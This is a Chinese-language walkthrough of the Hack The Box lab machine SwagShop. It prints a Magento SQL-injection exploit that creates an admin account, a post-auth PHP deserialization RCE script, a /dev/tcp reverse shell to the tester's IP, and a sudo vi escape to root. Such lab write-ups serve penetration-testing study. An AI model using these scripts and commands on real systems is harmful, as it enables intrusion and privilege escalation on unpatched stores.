HTB SwagShop writeup(一个框架两个洞,sudo提权常使用)

HTB SwagShop writeup

大佬请忽略!

SwagShop攻击要点:

★ sudo提权

nmap

bash 复制代码
└─$ nmap -p- -sCV --min-rate 1000 10.10.10.140
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 15:18 CST
Nmap scan report for 10.10.10.140
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.43 seconds

由nmap扫描可知,靶机开放ssh服务22端口、HTTP服务80端口,域名信息swagshop.htb,操作系统Ubuntu。将域名维护到/etc/hosts文件,目录和文件枚举,公开漏洞收集。

bash 复制代码
echo 10.10.10.140  swagshop.htb | sudo tee -a /etc/hosts

HTTP

2014 magento version web版本可能是Magento CE 1.9.x

ffuf子域名爆破
bash 复制代码
└─$ ffuf -u http://swagshop.htb/ -H "Host: FUZZ.swagshop.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -fw 1

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://swagshop.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.swagshop.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

:: Progress: [114441/114441] :: Job [1/1] :: 77 req/sec :: Duration: [0:26:28] :: Errors: 0 ::

没有收集到子域名信息。

gobuster目录文件爆破
bash 复制代码
└─$ gobuster dir -u http://swagshop.htb/ -t 100 -o gobuster.log --no-error -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://swagshop.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/media                (Status: 301) [Size: 312] [--> http://swagshop.htb/media/]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 16593]
/includes             (Status: 301) [Size: 315] [--> http://swagshop.htb/includes/]
/lib                  (Status: 301) [Size: 310] [--> http://swagshop.htb/lib/]
/install.php          (Status: 200) [Size: 44]
/app                  (Status: 301) [Size: 310] [--> http://swagshop.htb/app/]
/js                   (Status: 301) [Size: 309] [--> http://swagshop.htb/js/]
/api.php              (Status: 200) [Size: 37]
/shell                (Status: 301) [Size: 312] [--> http://swagshop.htb/shell/]
/skin                 (Status: 301) [Size: 311] [--> http://swagshop.htb/skin/]
/cron.php             (Status: 200) [Size: 0]
/LICENSE.html         (Status: 200) [Size: 10679]
/LICENSE.txt          (Status: 200) [Size: 10410]
/var                  (Status: 301) [Size: 310] [--> http://swagshop.htb/var/]
/errors               (Status: 301) [Size: 313] [--> http://swagshop.htb/errors/]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/mage                 (Status: 200) [Size: 1319]
/server-status        (Status: 403) [Size: 277]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================

shell as www-data

bash 复制代码
└─$ searchsploit Magento
------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                             |  Path
------------------------------------------------------------------------------------------- ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection                               | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)    | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site S | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross- | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting                                  | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File                             | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution                               | php/webapps/37811.py
Magento eCommerce - Local File Disclosure                                                  | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                                                  | xml/webapps/37977.py
Magento eCommerce CE v2.3.5-p2 - Blind SQLi                                                | php/webapps/50896.txt
Magento Server MAGMI Plugin - Multiple Vulnerabilities                                     | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion                                | php/webapps/35052.txt
Magento ver. 2.4.6 - XSLT Server Side Injection                                            | multiple/webapps/51847.txt
Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass               | php/webapps/48135.php
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

有个RCE利用脚本,是2015年编写的。

bash 复制代码
└─$ cat 37977.py
import requests
import base64
import sys

target = "http://swagshop.htb/"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"

执行37977.py创建管理员用户forme:forme。

bash 复制代码
└─$ python2 37977.py
WORKED
Check http://swagshop.htb/admin with creds forme:forme

Magento ver. 1.9.0.0 exploit

bash 复制代码
└─$ git clone https://github.com/Hackhoven/Magento-RCE.git
Cloning into 'Magento-RCE'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 5.06 KiB | 2.53 MiB/s, done.
bash 复制代码
└─$ cat magento-rce-exploit.py
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Contributor: Hackhoven
# Github repository: https://github.com/Hackhoven/Magento-RCE

from hashlib import md5
import sys
import re
import base64
import mechanize

def usage():
    sys.exit()

if len(sys.argv) != 3:
    usage()

target = sys.argv[1]
arg = sys.argv[2]

# CREDS YOU'VE AUTHENTICATED WITH
username = 'forme'    # CHANGE THIS
password = 'forme'    # CHANGE THIS
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml, you can grab with 'curl -s http://localhost:5000/app/etc/local.xml | grep date'

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
br = mechanize.Browser()
br.set_handle_robots(False)

request = br.open(target)

# Print out the forms and controls for debugging
for form in br.forms():
    print("Form name:", form.name)
    for control in form.controls:
        print("Control name:", control.name)

# Select the form specifically by its action or name if known
form_found = False
for form in br.forms():
    if 'login[username]' in form:
        br.form = form
        form_found = True
        break

if not form_found:
    print("Login form not found!")
    sys.exit()

# Select the specific control by index if necessary
control_username = None
control_password = None

for control in br.form.controls:
    if control.name == 'login[username]':
        control_username = control
    if control.name == 'login[password]':
        control_password = control

if control_username is None or control_password is None:
    print("Required form controls not found!")
    sys.exit()

control_username.value = username
control_password.value = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search(r"ajaxBlockUrl = \'(.*)\'", content)
if url:
    url = url.group(1)
else:
    print("Failed to find ajaxBlockUrl")
    sys.exit()

key = re.search(r"var FORM_KEY = '(.*)'", content)
if key:
    key = key.group(1)
else:
    print("Failed to find FORM_KEY")
    sys.exit()

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search(r'src=\"(.*)\?ga=', request.read().decode())
if tunnel:
    tunnel = tunnel.group(1)
else:
    print("Failed to find tunnel URL")
    sys.exit()

payload = base64.b64encode(payload.encode()).decode()
gh = md5((payload + install_date).encode()).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
    print(request.read().decode())
except (mechanize.HTTPError, mechanize.URLError) as e:
    print(e.read().decode())
bash 复制代码
└─$ python magento-rce-exploit.py http://swagshop.htb/index.php/admin/ id
('Form name:', None)
('Control name:', u'form_key')
('Control name:', u'login[username]')
('Control name:', u'dummy')
('Control name:', u'login[password]')
('Control name:', None)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

reverse shell

bash 复制代码
bash -c "bash -i >& /dev/tcp/10.10.16.14/9001 0>&1"

升级全交互式shell。

bash 复制代码
www-data@swagshop:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@swagshop:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 9001

└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                               export TERM=xterm
www-data@swagshop:/var/www/html$ stty rows 29 columns 119

shell as root

系统用户

bash 复制代码
www-data@swagshop:/var/www/html$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
haris:x:1000:1000:haris,,,:/home/haris:/bin/bash
bash 复制代码
www-data@swagshop:/var/www/html$ cd /home/haris/
www-data@swagshop:/home/haris$ ls -la
total 36
drwxr-xr-x 4 haris haris 4096 Oct 16  2023 .
drwxr-xr-x 3 root  root  4096 Nov 12  2021 ..
-rw------- 1 haris haris   54 May  2  2019 .Xauthority
lrwxrwxrwx 1 root  root     9 May  8  2019 .bash_history -> /dev/null
-rw-r--r-- 1 haris haris  220 May  2  2019 .bash_logout
-rw-r--r-- 1 haris haris 3771 May  2  2019 .bashrc
drwx------ 2 haris haris 4096 Nov 12  2021 .cache
drwx------ 3 haris haris 4096 Oct 13  2023 .gnupg
lrwxrwxrwx 1 root  root     9 Oct 10  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 haris haris  655 May  2  2019 .profile
-rw-r--r-- 1 haris haris   33 Nov 10 01:47 user.txt
www-data@swagshop:/home/haris$ wc -c user.txt
33 user.txt

sudo -l

通过配置 /etc/sudoers,允许普通用户以超级用户(或其他用户)身份执行特定命令,利用 sudo 临时切换权限运行。

bash 复制代码
www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
bash 复制代码
www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/* -c ':!/bin/bash'
24 files to edit

root@swagshop:/home/haris# id
uid=0(root) gid=0(root) groups=0(root)
相关推荐
程序员晓晓4 小时前
【网络安全零基础入门】应急响应之服务器入侵排查,小白零基础入门到精通教程
服务器·web安全·计算机·网络安全·渗透测试·黑客技术·网安应急响应
智擎软件测评小祺21 小时前
渗透测试报告关键模块拆解
网络·web安全·渗透测试·测试·检测·cma·cnas
智擎软件测评小祺1 天前
渗透测试报告撰写:漏洞发现到验证流程
网络·渗透测试·测试·cma·第三方检测·cnas·渗透测试报告
网络安全许木2 天前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
网络安全许木2 天前
自学渗透测试第13天(DVWA配置与信息收集命令)
网络安全·渗透测试·信息收集·kali linux
网络安全许木2 天前
自学渗透测试的第十天(HTTP进阶与Burp Suite基础)
网络·网络协议·http·网络安全·渗透测试
vortex52 天前
【红队】企业内部安全区域划分与攻防思路解析
网络·安全·网络安全·渗透测试
网络安全许木3 天前
自学渗透测试第12天(渗透测试流程与DVWA部署)
web安全·网络安全·渗透测试
vortex53 天前
SOAP 协议中的 XML 外部实体注入(XXE)漏洞
xml·网络安全·渗透测试